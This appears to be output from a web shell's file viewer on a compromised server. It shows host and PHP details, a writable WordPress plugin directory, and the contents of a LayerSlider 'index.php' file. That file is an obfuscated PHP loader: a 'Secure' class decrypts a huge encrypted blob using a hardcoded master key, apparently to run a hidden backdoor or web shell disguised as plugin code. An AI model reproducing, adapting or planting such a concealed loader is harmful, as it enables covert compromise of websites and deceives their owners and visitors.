https://t.me/RX1948
Server : Apache
System : Linux server.lienzindia.com 4.18.0-348.7.1.el8_5.x86_64 #1 SMP Wed Dec 22 13:25:12 UTC 2021 x86_64
User : plutus ( 1007)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /home/plutus/public_html/wp-content/plugins/LayerSlider/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/plutus/public_html/wp-content/plugins/LayerSlider/index.php
<?php class Secure { private $masterKey; private $iterations = 10000; private $cipher = "aes-256-cbc"; private $hmacAlgo = "sha256"; private $saltLength = 16; public function __construct($masterKey) { $this->masterKey = $masterKey; } public function decrypt($encrypted) { $data = base64_decode($encrypted); $salt = substr($data, 0, $this->saltLength); $ivLength = openssl_cipher_iv_length($this->cipher); $iv = substr($data, $this->saltLength, $ivLength); $hmac = substr($data, $this->saltLength + $ivLength, $this->hmacLength()); $ciphertext = substr($data, $this->saltLength + $ivLength + $this->hmacLength()); $derivedKeys = $this->deriveKeys($salt); $calcHmac = hash_hmac( $this->hmacAlgo, $iv . $salt . $ciphertext, $derivedKeys["hmac"], true ); $decrypted = openssl_decrypt( $ciphertext, $this->cipher, $derivedKeys["encryption"], OPENSSL_RAW_DATA, $iv ); return $decrypted; } private function deriveKeys($salt) { $keyMaterial = hash_pbkdf2( $this->hmacAlgo, $this->masterKey, $salt, $this->iterations, 64, true ); return [ "encryption" => substr($keyMaterial, 0, 32), "hmac" => substr($keyMaterial, 32) ]; } private function verifyHmac($knownHmac, $userHmac) { return hash_equals($knownHmac, $userHmac); } private function hmacLength() { return 32; } public function setIterations($iterations) { $this->iterations = (int)$iterations; return $this; } public function setCipher($cipher) { $this->cipher = $cipher; return $this; } } $secure = new Secure("3Etrksi87rde3hd8s819Poe0o39sqKjl9"); $str = "IJl45yESRLjs7TM3CWC/a/p2rJnRw6f+Fl2VsSMHaFKWrVRO13UvYyIo4oY9jHUpHr7y4ckLDp2Mx+p/xwJnscC0pISLcbgy/cwDjsDjeQ6V2+iq2pW2VE/pnyY5potca8XhFj96UfVze3Pi8LfZFROILw4VBQdfLfJiNicWqG+tqQY49/vYyIunQ4Cjjh6ykbdafo5RqWeAQ+B0E+bcL0M0yWsUqoDlpvYyoKmgpqufbUOAdib6prDxTIQ+puNCCFBN6ypVBdzw2fyhLst4GrCW158kU6d6j7yWbZpyOUN1fl5jgvgI5wz+UOO7/1BfHbXYqjUTcoaoaYX+ySPsc4ouwJYGMTQ95b2kOPdeQPrXwaeQq8/OF3cUV/QYft3Up1wtPURV3azRvlfq3hH7nX2TEkyoXxdMmOZUv3JqS0+vtvXZj3Fr5jHC60+Lv5wubffn2IdXZkL+HIUq0uu29oOYyqGNUDcaRVLi9yqM9cc1eNw1GM3G4pZ/MaVThSTSH96x9khSsE9Mj7aNewSBIm3tLQoT7fOv5S4Sds/cFdofLRponsXb6rf/eOYm1siXTWvcUPfSbp0crZYa96fg0QvuEsssbbopoiJoQbgKHsqKeESUbO0i74+t+cj1LhahPvVXAikUXU0yMLEFK/iuQJConhlhjJH7h3GCUeQtuThSCmCQXIVMKD88wB+8IMM3eQioyhpUuWr1IuzXy6zvq0xESVMPjlFjkWEautaruqzuBcY4mj3iyM7TCevulDGx8oc5uI3A+cLPMVwXNc9EaMVJ80ZNrYUldYmguitOdr2d0dx62xHe6UY5PL/XIIV/bYmk+SRSficr96tf3fspUnpb7rqN+7sTe20DkylEE0nwP44yaAn6/LDCi3jhGE5QvC7mWAearFZ8Umpad8Dm6ymFnpj/F/DWBLNvOGyFA6xjXQd8ivrc83jdW+Cppu3Fz1qVDqdirZjHBV122rLfmaUI/XhxWtJJ3RV/xp0hSXUyIsL8ORg9oAViC0mT5+WMSsTAFnO5JztzSnTFMc3f5Ip7+9KEfuz7we36fRxcmDtii1ahBDCCgWcGAP+7wp5Tawc2loN/Q/U13hkgQ6imNa88RL2DVYIhi2mRasLGfvPLyQEqSHDzW+aNBMg63R1B7TjemUvnmAwjVl54epCVu7EFxOrAOyBDCjOcZd/EqX6XJQaFCnmweFpuizbnmYDZw0v0fEVl7nytZIMZGj+6MD7vTPo2k7XPAj5dDciIpYU7toTnqXwd1gTgO7vMqnYWP64MVMZbXlHilg2qnnvB1iQuXaBbdjGI4IJFlUDIdKcNGskpw29YUXD1oj7PltVx/zzqqTmFPmDP0jKdcCbynrYxMxWNKdeadekIdL7tdY5Y0+Q1+UHsm5K77Yo8yxNg34xwB3ltKZJStPQpcxQ97wrjYdwGIm+OGAcyUBGdyZmj9/rl6iuBC4dUU5MKtGMczwIoEKOnYtMEvw0OF9zj6L4XNOAunt+A25138NWU0nWQaLUTUzW516QMdRsM6CpilnxDEwc3CtyDWFp3y/Yyk+IZzSopbXyEfuh3BkbIkg4vyqqWyHiAc7vkLbR/xXbKulM4FoCfuhZ2vxN+PhvYY7xXkjSEfeqlKDQ2ysvePZKHVvPuujeP5WxbiQeooRxc8G6vc7IGbLBn337LfGxFP88NLdYOGObMF1FD+hEUxwYQA4LjJGABB8Lh7jOD51kfuA1hEeA6AJ2W9BjQNwGT8RFU4KEsCaWbMngCVqOOU3Kk29MRa3kkrKTyID2UvLGJ33wcQe9j58r1DoCvKKLek99Ucw4S6dFllJ/PZaOFdXc6goDjtdY6FO2Zm90QM7PI6TH8IM6fRAksFxhtSZO2FBCmnwf58wgaQFwQ3PHS3gyvkEAj57R6yHfoE5G7t4gJDnRHfq0hz+UzqDNEMcQv/6rpe9HvcjtUm4RkSeeyYy5pKm2R6w4iyxhYrE3nbV+a9DPXjA5lW7oX8HgpLjjroWBjC20e2B4peCO3tf+SpcpGSdWbw61ReFmIX1F1gmqx1/nrGYelRHgx4dSvDucxc979Q2xC+BcvFDrHJKVYYemwyml/D0S65NzMlGNolTABVndDRnN738osTbmAxb5IYES4rs4KIlCDFDm6y6ZLKtv+qIwiNIxyEuTsNy9f3LPoSr7GlDnKCdq9WL6Je6qOm/68Yyn4NESsyr+5XP5+7Vk49cmvgvtwft+fQZ2occISct4vnbdHNkDNWIyZONWe+jubBSCCNImovPcvttTEMa3P1HLFpBh51ZyPCvaMEXi1gbVySOcX1ZragrMziUcadVnGkhzB4K8W5Oc1udbY/DMWkIqG7WPYNNRpBfZd10tAcDSAB3LInooqM9kZHYjaHjEcG1Lck91BZZbN2WS9S9lfL4/sxIQvhey5GN7sMTrivcUs/vUcIeFDSVOJ179GjKwmMkjfacpNG0DrS4CspiR6WplF3hTReWL2OXpZjyc7t40OoB3vc9huAozQI9CQEhxThn8oM03soVOeEqotxs5A9UrSeUm84DjTNP5wu0ywWYaglE8LMHuAqSgRrK5eZL4Zmm/NT8Nrl0lMlaMSW6wRqiK5jfajmOZJvuHxZ56RqwuA+RcLFiWNWKUTZ+F/xT177Qzzw5tLZijfo/rvy5UalEP+oTdkwDZ/StMiH8oGjv84lePNSOT4O9EyRETkJa8pXC+FilW4R9JP+SVFdNuSIvi8NaAHNnEOqdztp/VTtBGOhar+4gZBSdx+sFLr6tvXwk5P1FHNz8roo2A79tu1RAc8R03pNmoJ/1vj1/gEY2n0+fGdRd55d5PqiSL2zvNYk6umHqRBKxaO8sySf3Jogpq3c0uiEHq3ewJ8rhn9UnEKlvUwG/dIz5yYbDReSqkbnDeEWpz4oZ6XG15gN7ZtSmBl46hCZsSjQRK3pDihsgbaRli/ixpuvmM7uG2VyJEYf3py2Kz3VPncFLY9wIppd5x6tTECDucAxlCSGcRnO+b5L5Z9eWrNJYNy2lwB9m9MF96xsozjW8I4O2IY0AbWdn78veJTn+pA9Cx2A60b41LS76xxF0I0kbhnRgJGvgfczWVOhuqAb9BIY5NA2KqeHnZVGXYlawF8eFUQyJfEXDGWfazFBS+vwulFKDXJ3eZ5WeuE/u7kD6LrRYXhRmwYIBLTyDDqMdyRpJbuegAFE0R87e2pjkH1/g2Oq9ZOCoW32mXJwYm+WM1CjhZjANrPEH+3uBKyM9q6jNJN/TIJvPx2U7p8cvW+im1W7G0MlovOE6M7yLqGfVM7fFJQgvfMQrqhGU3pvQjSmCDqlOSZqxcHS0wUPvlH1h6zvdHEQaW26pwx1pNCCDljwlOv2EGQxRWOE3l4I1SC3Un9+q+3kmFdXnTmgxP0nQJqTdDEv1iNSeYkPufNG3n9rXs6HhNDdN+UERagf+Pup7BO8mYCo0pVlJ8KzhqnJaDC4eUeicvQ9nyAf4AzzOnw+VzTYhpf5PpVeA09POBsF+QZOnzcmyzUu277oC8zxt8ZOLAqWIZ7oOFZ0Wd+1lnDtyfFSyePk3EWldZVB3fxhno2k/255EXcvdzc8KdwFIChvckl67UY42H2oEOYwfTgiEq2SNdrMWEB2RMt4nzow1ofc8mcnZSZd2yAYseKKafxP8Huao0cwCyJhemZdLSKAJ8CsPzDU21oDvVVhSD4PYYzs3CBkGljgJwrGfYLD5FqDpkIYDOJXz11cfPrIvClcK6RvPgaArBFiW7bX5Y8Pzc75ufGH/LoZt+K7bscfNC46a9zC2WDLxaYqAs6l5M6A1KcXIq3gLzjtTX8+YyzKXUEjIIVHTxoKJKQQkPqc8LboWeyYnVlYx1tzx/sXktDGekYH5C2L+tLEPN/b/0iShlPEcUdk6rn15HKMZoeJAud7EaO+Ye8HTGNVLQX+ArjPQ9+ybtVg0fjrE3FtyxpgzqXn6D/7WIUPKyS08gotiudNTTVkD/9yDzC/VRI9TjFGZ8RynMmVTnFAMW/66ct5LvLXVyTW+atprIKIkEYPJt6nFIr5DOSWENT86uMBRged+/XedxK7xws1tHMHhBU+0QTi+8uJ30V7Vr/gQj43X02lodDD9QXVa9qkQGJ8f2rNGuoKYX3FUOSV8eagTG8lkf+SwDt26EM3RG8exfgf7QFPzVXEI4m3MAAJLffEyCyhGW/6oMJ451ex3uJT1nMbX6o/J+D/IU3xPqrv5m9qC42RpJ3Gao9abwxvA/rZ/nAj/ybLfti9kESg1WsYOmg0Ab0pmaNNFFWrekf99MMXQsIWf4FyYtmvpnuyZjGwZk7JPFFqHIAkBirIf3AElfYH3sKDeuPHAJY4ei+Wa2EVwbSq+ljpLgAWoWSl0ctzlsqPkrPpQxdFaYyxJ63A3Uvk3JaS8oBfkUZLt2jNjZdAk6EzyRmcRJdIBXi2SpSSC8PFU+6YFKsOLmIeFGE5yJ01644wyEl4G3LVfDE8raS+oN3NKYUjnItCi1mcuG0i36uhrBtjzqhRw/AZPhiFuzITAzhB3v0dBZzNDgHg357CdLAOgmYCImN6vWP23Nnj+4izBA5zuakjQB+h82rmjxBDepwzT7DVie865S2BWSg/M2KjtUPpc51Xe+LFW9EqK4ylpof/RYcrKEbUJXdkt83Pl2mG9OrFwBfJRWLR5bhqXFU6No5zc6b4VjbqnZjyqULELcDMx5EssTJUMOX/Hba/4D8jhyaBMfESi1p4omgzVeiXwY/qx3ww1IVQXzhC4F6gLQeH+GhCYxRmnWlRyCusjlb4Wtthspc8qyuFkWuwKbhX0yNs22GsBi/i7QWe53seS/jwHET2OpMtVNLYc9odGRByG/NegtRDermhIIkKDNb9MgKF0uh3FeXQVbUoBbHmEhgF2oHVorL36wXJmb/bUcVnnujUV3+Q99LIl1aghPdlGxib070NY8RO9G6suYPWt5m77x7k7ZHGjkOIjCj7jpGGhJs6xUfFwdxcGz7vyaigmEiW1ahiKfmwt69T3bJKZjV3alSI1mrAYr7esp/CtMuYXrzw1u74CMixmCAmb7vObrmngJJAh6ewWGb3UF7n61Y8K6tHfR7e2GEHrk3p0I1SZ9a7bNDhChX6kY4Arg+LtrnpDMW0XDhhjjsbAinuySUcb/lwAIsqB0muDb2jnJ9b9e2d4EyBMHnXobM4EOREu59hsgGlKJUN78SKPhyM08akGuCv6okPU1k+pDH3+2CtDdC5IaAQWXa83wEu9wHcMlE/C+SKtuknN0dohzKwfDc6i/GDfNGO3TfovnaP87VWe1zLYZzURyc3ChnQ4lXnPGyjgsIP8zL5Pwcp4LR/RyCpOGKYw6wwtMjwh7+yoNRpc30j0ROkVIx2N0Q8IDLHmi0VESyb3kypZbivve7Sfa+6g/2W2zC6io0nPVF+89WMorWOg3mcugbuJQS4ua4k4xwdWgAclGII5eStcT0nah5zUd7aSIXt26QSMwjR2EhzKL++QlEOQT5FmpXVdN3WGfduKPcvgbQ8/NW0VZrsfsn4DTZXMFu/9mWHQvI3Zfuq4UcvF0WZO0C8WdcHGG15WpdxNdnZCDy2IC3eTmKnYewbdtOijo3A5eVbuwQMhPwi49V9k0d9YSloT0Jx4/qu+xbJdbztE+/Q8UVhvZv2Gk+0+CEjjjo5zCgGiZoCR/eU2gkfZU5PBgLHm9JY2nAh+o3F5bOBvqt/aUrZnXUo+WYO+W28NcZhPkrbMGwL9fCUfekX6amQQet3XXfD45H7t/gyv8swXMnBJ0PMoDvkPJBtuqIt0LGJ4R5H9uIH7icSP5FMs2JfIZK5GYXY4kgpsee54xMHcFiwWtRSPu+CMTpu0kZFudelaDFrJiCnBG3MNykKGKKRRGRYsz+IVLFPXbO30ak6OAPZ/6RCV83Am07D/4scwCUMFUp3R2O+7/meii9NzPrskaXAvz9PcoY8nirJltAPA1Vc7d/m5yXlz2ce3CdrsnM6AAGw4XssBWm2cqjBpSe622jZIldaXChqqob5+KQC0JhyrXPaKleA+D/PlqXKx2gyvu+TvixnHdu4bebkqU0KgKodX/wHXN6O7Z2LCBiI1C5TJbSUwaP8XcrEuuHkbLoleOsv4VRvJtVZ56skuj3qVjO+u8T4LMwvJ+DAZ/Tu9dn9SkUfoLO48bygHXJxsrDh28R5NUyzFhSWMbXkSuYd7VQwS0/KVYvNp0qj7ADanitqddMVJ1UWAOU5yweieayUUcNM5I9eJGj8fy+A82zLYnJMQxgnU2yuvPso5sNVE6b32JtIlXQqflW4Q3sT3Xiir5ZfWCb0+dRR19E+sJW0xGQQ9rsjqSCUu+Sws8NQtAnrfO9jRNFpo8r9Gptwhywuo1qmjPlUPpJCRGAf5fq21piJneiP1lFu62oRDo690No0G61DJp0MxLZXCU5AGMG7VVPBUOi3iUSPgnTevOjzLgzN3fToXUPfeSRqGN6OMLZc5lBzuvta21CeTlKAmZjy+mJ6JtaMjvACqF5E/jebaQgy+DsshH8y38VDWnCpyj5bKb2T8XXqiZrwTIgqfxKe0jS2wiINqSWdkBN2aVLQFWQ5wcu8Rd82NlVLbzcEP32qGvmT3h6MxmL2b0QqzLuhg0WS05/SjtbPzfuzrXNdVWyFdNciv/UtsHBPM8xfbrUhBX9vJreGZ1IFITHxvrGjgED+VQj4JtYoGnty0Pf4p8iG1fdmJD3XlTnUEFaKLIBBnh+XuSXjdzyTSBdCeU9WirI3pG7C4TZRJGM7uSgFgncuk0QkYgt7ycWaHD5FHMp8B3B5jpjzDEdwpn+juGD0sQ2tf/V4rUa/f8Gy8rdkpOCU8pwOvYzNMXZZRDl7p/AHGbbcY+sBm0VM0cP9rX5igKIJhNwLeXee7eD26H+NJwfheNxYD8ISMek8gIv34OVp4PI+DpwExRlen2VA7Nv5iOVyCjrppTZVYEr0VBBIRBvt7m6E5TTDPfSV7WxfHZDETKIDedSAOKpNciK/OmBdmkAFDzUV0WMPvrWJfw6ilUxPwGcBE0yFvmiTHvVgxJGEx+1Eox4UuvCMWMfJekXj1FWXaFB72KIVZKSpaEy8s+huY6gJYzGjrLMdNXVMTrjtBSiq3+Tm5tegr42fHhFoSQ5Vc8bz4QZHPczcvdm4Xd3n/2z0h8pB1gsgT2MVEiw/U50N6MMrZ6LbtItFtaRsWcs89c0deamLEs+OsYhImWNzSIXulG+KPdc9Nx/5Sd7t1okz1uYbF+o8vx5jZA92VqPJLq75CsxcaR59bJKADFBtuM5ysQeab/aYZ6ZyGzOFvRNQwreErc1b2x1sQACAR0QOhCX19SaYddsncbm+vHP0feZEycdfyJaSJufLrZdWvITuyFLrs47UNF3PnZeErGU978lqpDuRLVGwsHEIQ51vFD9J/taIHaR2x3DJyxiLmgQ4nLI0vK9/Z4LNU8phWugfy/d1ftVaiwYyBSjhEkYJL8Szm6nAUMiPIHL2UXlupXj34uV+NEIIvK3heyG74E0aI+/TCZNk5TSqsGX4SkWpLTQ/hAflli/KUUbsTVopWaF0XHT3u0cilqoG+5nqLvhGSvif2zRqNn3Y7fLIDaNlZf1QCtV8nQzXMi1UV3z4M+GRC1IdY3zkGPHg/77y7Rewv8Ib0g+MbLdvlcQsgRJPc5yIJjiAO23DGY9ag7ehzYavepbyt37WSyW4Tzydw9DDUFKkQGvSJtXXR1stZcCIZP8e2iiUMnGG9a5gZbcu2tfM4GPYBgZ/W4RpVlS32FMdP8w6S6AQd6F2zwAHVAT//8wtEe8l4Hb+B+AFsn0+W5mfhKcPHDgfYJQda1Blk6sMJCNhDbwG0R1A/TefEpkzhpS24siCxgK+gU0R9v34+GhDhBsoxwtk+gMLX1aDa691pWFe+MFTPO6U2oa892uCk1thoRXKWajOaI48zrL0smiF4DO+4XKV8+CUNqGIlJO8a//SfUctrobNOaLgzpwBLD37Y+3iI8Ozy2EToFupqQZPe67W2hzsUQMyqi4Ny2d0ZVDDIpzTfxnd2Gmvr+waOCRO2SIJL2iqXDFZ/8dbu0YPOIswi/pmY0+DMbKMeOTsA2m+P0g9w00erlyO5KB0YFSGQDEY+XMGWk2vqRquYVZE9yDO0OmHifZrjK0Wlk8ybAvwabzQiQqUUXCxzHCYBIy6IE//RNOCdma7vqG1Lj2cLNSkVnAk/TirtvWuGwBVrzQMh5ZzlrmD7gdgk0mnozq0V808FnZr2wWgyIABFEGdGeAQjlhYb06S3skou3Z+oPOO1Ic8qq7Vuej0XOQscBWZxlszldvxmNscH9jh/RcgjFdQ+ys39azb9Xn8QsY4i9tLQKte9r1vWgimzqP/1wFryzRcv/VkqGrKvX7heMUGpTf3OEEvZV+q7ZAbWdQ2HgSWOtOySI7Td8eI+vQ1DyyrW9KqnQxGF1jVK440b+325d5e1sr0OurJZr1KxvlFPqmohIVl/1JS7yiMtLXe2RqirP4PgrTSY70sUqhtnCE++kH6MofC/sA/oRzmQSDXh/SWyjBCCxM6M7F3yzIHWnOwp9P4jWIfcyV40ErbltKrj8U0KzXTqMsKmCIpRlYXVjjzYjYyWQslnyolmUEAaeNNqRq1QqaQPUnZZ7qaZyfj5FCy/CFaNRcO4JzU3Ynha7OJeqqLE/2UyurST4f/srv7p//gs8fLYX7F6PH4FdKqfGZiEes5HSjHOtht93kt2FKmLcU948PjVj0jyTCEqgPKnpsyXQJ/tZZvWwPH3ZbCYUqEDJ8vvknZlZdMNBd/jFFJvizWpmqdDvEk0ovbkyZpWRoClbgG/17TDkEEwb+DciaYInyay+hniI9shzKbO9laOUnDBZ6J9IKk+rtfYGPzf95NfqZWPgqZdHTqsB99fimOXZ2FKsYhKSc+f1x5CaY4qBjHaUiGRDJunkOFJzEbwe2iC2kAnIC/dBCYnb8pSWZ9f9tj5thkd+Q9svNBYtZqJO4OxUy90eLhC/uRj9IofOEvGxdFXal91O3p//xWWf4C+jwhFwxoqwonlkgqGA6K/uzZbTK3keAzOnppxbDNk2YD6wPXJG5DsIBOudNQlxZx4OH6KgxHjBZpMtTf9zEwNn3bikaY0J8W+wgYIr1eEpagiGnwV/HDTC9Y0VzPMB+xdyOmGyBzixS50luG+dU64dUhB4zv4dM4SxUHZdwRG9WRcpDVA0VVYoKgn5NNZ+ZsXlpOsc+YE7LtBuuozXV6KmQwhowW6k+XLevpTuAFE+XrRkHBE+7aamtvBP1PfMgIyva6f8BcYVQumKj/Bpu6mYvLrdAFruaP/yTnNR9c0URNVEIdP6CTF84mFpFbgZjteFFPcuBtIAgS4sLMAsC0OB8QW6+uvQO+0yvbwgQunuHfXvh0OUmYctm6tkc9E672IfXSHQA5jIGeUwoIv0orNq1+N3Oba019TUnVwkWeGgWWNGR4iK3t1nJm2R3u+iL/JyidPkdy0CYuRS8yi8t31k8or8UU6y65B+Y+X+6X2s8Ta2wK9jto2GtLo3u5ZsCERsbEHvqdH6pvp9eNvWvImhNCm6yaj39Y5BlaYpQRTeKoJcGiMFZH93p1GLzNgAHeV8Rc2dutHdR++7FSJuGdwpQoB8oJyApaIbzq5daKe6coRaLidWdobDk8NzqZJsX7V+mreNrMngfD0BEkIte1d8vU1PgnHndY+v9cY95us+ZAaYfFj8zd8BmKs3cLQ9cIMkJtlh48T0Eg1pzrNHW2QuOoE5fJBJCsHFUMuR0rG49w312W0+ekZT0OJQgNzZ5ixIMQqzUHhLgCWxZzGWwz1D0IRrAGPsWxqXKaz64Zs6mYYrltlmR/VjCdpWzwro7Z/0l3NxFJTucwEFke0qkJdK3qF7XrcoHCB+wjCjji6MtiphGXN2kux3M+i/z3wDlaDBiFHms4YAQzQkfoTBYK6iYmf97Hfae2MkyXj8Uc0WMoj3jVCmRujoWXXbfxElwmyDI7rIc3cYGqCexCQT0pi4WPTrq2Mw+U6lyOi4mh+5ZefnuGtt3iq2DvsY8VdsxUgAQpnP/UzgfGRLxaSVeBeygAX5IQqzMkSwOIkfz7Nzgzra5oep3/XfBXutXHtW8Z+IIh6VjD9nmTX7g5dtdPMsQT47ya0edJ34RaHpopPxkCKRVNf4KO950mWb8Jyz/SdEPojDABgcbfGwzBGoZoWeEB1o2Rudtr6qfaqgoMlqaBP4zMj4cZM2SQn702vXbCmFdWSNQYc22yHhf/jyZtxCdNhZXR4yFyO+Hs3oOnIreVWp00EF1iBNIB+85LtS9aAn+OJ6otmYvXCjD6HP6m9OBbesYA3IVDswxT+5ElfR0PGipeheleIt4J4+RvDzXIKTq6tiriccTORKLV3QHz2uVPKrjnbND/dvPcaeDeGhZBKEjgMpXWrbeLMcQyuOaRX0V0IUsHz8SLn0WxrE2eOaSsiKd6pk7r+W0/eKlRJSt667T5gcfQC3YYSnwUdos6SNanv/ToR4v+p4YaCRfwvtE00BOHrzFQN1HITPKR2eqh9FOdX6oan4RbEh5ZsR13ve4s5vB6uH2HddgDd6PGaQYrEVS+XgZ8Qp534hsUCgpEDfXmgklY+Umnw8fHG/Y6xVUVNlnAYyrWyv9LRI6NDFjI5O/7osDnPlAVZNDpbxxi5ZozkNZefT95dUEOGUIJ6mwZzs4xp1sMZQtwosNo6S+ckdrFD1VuaNoMVKkXk53tcXq1Z/2UVeAlsf3M2sDBuYpHaq5GzU7VdnBkW1JUkidTs9GeGi2xIe14wXd62kO4k4pG2Qtzj4vpGV5DkoOEJYwWCBS3eXFag0hFgT7R9MF6v3t2hEmf6yQVXXRKZ2eOuRIkQQ9l4kEHtuc/AC4er7XHBMV2m0cd5HLYILZVtGtEhU++eKm1P6FAaR0dkJdgGG7XHm0w70vEXt5vK99krsw8bn6vDheywVO+2HjWY4fW0G7O5Wq8qQ6PQBXSgbYGSpT5xdarqCwbmX4MzkFsooWHG9KYTns93+GP/6fEGAYkx9iPooD6RrtUPE9pNsfUXrZnqYZML9medhAV0OKfiXCqmcMXrUdpZ4ZNFd3gMFZlHcrNoa3Iv+ylokY0ZhntRg/UZ7ar/XHh7wek2JFAjL/r+A866JSX+Y3JSY4BHasxFi0+sLifF61Ps9nsY+Qo20+tLzMG7LrMh85CgmZh6NPdKMbCYThAIhid/ud1V1iQOBetiuxsqVuCRPysNu74zxGJlhH9bpSKiOhmr3iz5qca0JEveoR4btM5kfm22QG6Osl4XqlGcMBlJ+Pq/X5S5nAkTX/Qg9a9/274KrbWKfYLtGk6GLYkGTg7LHd/y3aX33rhRLpYyMHypx76y32zYxnXWscktGW+Jk1RNCGtLN02pO5Ds5E/PJ9xtiURFV9q0eZS3xjySWZI6PUy4I+93nW9zw25JS0iu8d0zTaLhrWG5yD3VOGnV0vpP9HraSzNxxWFxqOtWssj4dKE8fzU2qkXmVsM2uIj8ezVdbkm9AoYzX0k4K4WAbBcUvnnYOy1Fj1BrPL6CX0ydZiBIrAd+A4clLqPBt5WSc+8I6G1LkiAruVhdq1rCtf2gJmWz17vymd2D6oB+tWbTD8tAHrZiYPyj20akmreHkIoqlR/FD2vTnAof4wQDMFP0MDbuOmVPAFF2Q73+YcMKXcq55c9U6MM1BklbnM4c2dG3Pjo5KC4rrw0znbe6JuefVky0jcCvXvbEJI023YEqFbLz3h6/Vos/MFo1444dxCi32My3OZHNb0QtZJXIzeXS01zpChENrECow12nxJL+1i517tz5LRCgkJrpgIp3DsPmwm6KFCiv6p2Nw7n8f/vmKCYwkIDqbjZaQn7S/iHmayoP4Gtj10oobkFAKUhhEmbNkeLy0eGDqnb0Gp6hcF6RIcz0AiC3f8QXN0ORzXluC2QvpngxaeN+TN538Vs8cOdDNh4AMwQsFCNeSFZ7lFD6lTtuukI9g3QJTZg9686sBLrQJW8hyJVEC6EjV/AoBopKaEL4Yc/NwRiaE/bELzP72vYsJcgtazfUYN/NNMy43C0V4ufbgpzLbkgF2MdXEmGy3YEL/Y4W9Tm8dplEhyzUpDGAUU5cXvbSt4yYRiiW2JViZOCPoLJ9HP5nBVzX5pWDU41R/SEwCv+OeU9KwWgi+yrEzSBbma/cyq0knNYMG3ok19gCV0jgSf2hbICQtzsgLtbjzwCZ8mbHOyAgyf/qM0Dh2V4Ilv40r0BGWZB/DdC/dHvB5XNP8O90094VhdBvEuMJccJpZ1/r3SE7/p3tbLsRYpy0d3zNJ4Z9CumrkEbTq5kDkRsy+ZEO+0AVvoEbXU2dCFAm4F5PT9hdUH/y8hWvAMua9DLqzs7OxCWgQxR76EFOJ6ov4et0ZpJlNHhEwawCVlYDxPgXRICSv2/3Vy7o8JpRh0/g6fm4SGq9Eco97MfBqdRdZB1msil3TDLP8OzxGpKIJslientqgxXZCOrRU9YdqbEQRB6/B1JJOzJh9030vczGdvUyde4dGbfFUV95PkuxcT+fvP531BtGWXHDiJ+apOINclMpiBaVjLQKJOjrvcB5ykuexdAh1jtVndN5XT4heoKgk4juoTMB4+2lXjrABj7dKZq6QtFBgV4Mz+pbEf3m3tYb4viZXgqK2QssuzAdm2eM9/PmtHXV09MUKZn15iFKGM7o4Pwbmjai/ikzq+rM0qJDXKfHwzSOm+Qz9MQeEYkz15aiPOLhkHt9T2s03hLhY2TiKTKOHw4GMuJXeicNjlS5oTkUCKE4zTOZDsFw2PShhhO4j7RKKEJf7WyK1wKtHNCnjV/bXuNly5ONyNZu1hJ6apsvm4BM+I+LAQ+xekZNU3gmeS5bMO8oTiLN8qNnH2rSS4D5WMcl/OvV+6eyrNUCLC9I48YsWj6wrefZcjS+MxEqtCx6KoI0jinRrQVJ45CeIBLIkNn3lAZSb3aTLV07IKe9whPyl9yeDtviGRapujHbjP7mNBO6MyqUkidG94zHJxCBaQZfYTnhBqhFMwfcc245MiHodiPIyZKsn9PZ4i22oXGZUQhQD8vqSoiEarUfRy4Y+XR9yr0xawS0/Bj9NKSKdpQSDBLf+uHOZf0jM3C9W9arKA6uz1lBj+2pcP9qXzdQpJ/4oZQ1FR6E3xSd6LmftOKIw4cOkbvlEW6P3vmbAXeLSj/bVKw/c7zQAicPiinfPhIonAVfQ2FV7hlv+Mq2r9NrnnC9EN8U/89RyCEx7OvvaGs97lKSk31fR63la19ccuGNohHRsHCnwfiHb1PTJ1qr2vvWoiTpS90xmBMnuHfI6kLojEB231w1vTKVjFA3VMJIe285Y7fonpC6mSktb3uT8XAxPvLkZrTYuxkn3JTB0t5UANZBhiITj2YTtlxLYqF7sy/Q8c01Bv0ehRbkh12MEUkluhUN3JQYN/81C5vxaxJivnETPV6Uk50TuNgXD0wYgbld9Hax3eNd1YG+VnPX6diZQX3C7fvkatK6rOBjAgcE0yF3Du2imY1dalcHyG58NworIUQfwprGD5ckUAI9ZIMbB07sqJgvG8hXfZTF8XsclP+nEVgbDZ5GURlHYSCGhqRRjNvyw6FloUFtgyiz2pWREPI3M4Bqn6kG1jjjJmxRTpGAs2nUAHuk51EATeaMKwWt1WfK5L280/XIN28fD67KZrcVcy60o8pKx7S9lbOEjMQC0a5DpwGvSv2fK2luJhH6M5sTvHBMolnujn2XxG8fmIgAvTBAZ58KrhGeZ3KCwEqpAfwWwshvvCc3WmvqWUoBuxmyYwhMv7UzzWy11idSkqq7e1eZmmeplTGpAEcnXO2yvyrBa81lEh4qJX2LP046JVpDFI+ZyxQxklVUV9GLuRVEi+LdAtYtREBxk695lulyOfKBvI9wx+6Ut/1qmAe32DMURE9gLl17PvZ5ZYRXvg0X2R6YKGCL6ENnYO/nU/OgiyLKu08sdJNnKnurd2kHRGbGw82uwzbG2ggIW+iAHhIPpM/By2pXnafmm2oGOAJRYjVBvBUYOVEkJ4j6qzYAeeJlzwsv7fXPKNCYyktJP2okd/vKF6obKoEFZbbdodZ4N47xF0h5NVyaAix97t2n8QgLYE3RLyifE+ZBwnUNR01swrD0tbhDsQL7L1VCQAnhJfldTFZksLUDcaQUOOZWzvbJcwszd3ThinyEMlEe8FhLL3HOL/qKmHhgL3d0rGuJQlpH9yiKE6A1EnuYl5NP4EPvAG+A/FxUlRyG8htUwq0akJASet0Fa7auNeIJYU5Fribl96n9fuBCQzkf4nNtV8QQrJYuO4ov+drgab87PSLaEAVD4DbFx/8BdYXl7cW6wxcMsl76bJ297/Z+g13eTZCHiR/0+25QMHzqKYQyKHLXpI3LhhCWZ+XfUcDAwdK7iaSNhOSevYlIMXAUSO37mP6xVPlvsUJGb0YE3ngrkV9Y7Vh3lGwGx4gvrXRRz5zfFAkbActFJFj5icTA5WaNV2K814j3dgFjaxNzWTjBWhOnx/JHjY6Yh2wzOLTIH6A6An4cR0Eo8xNC/zy7m4gDl6sX2iCQUnWyPITTpTa3glsqpOYlnjWIT1kQ92bxGU4q8hvYP4uGJPqefvJy6au5Z408hD+yXpnfqEAcuiI94OvSHBnhE5I3MNchUWUXd48qXqrRcwTfXlZM75OSBZhqYkH4NWGPlYf7QHIKFad9F0aBWh130AxHmw+xxKI6GoOm1U+AIPKIvqxavTme9AMSVhTp3SP7l2D/59tWSWu0i5rOsXZkidweacLzJME6yrnqRCj9H+1CtBdBrywpDN8pZ9Z2VHj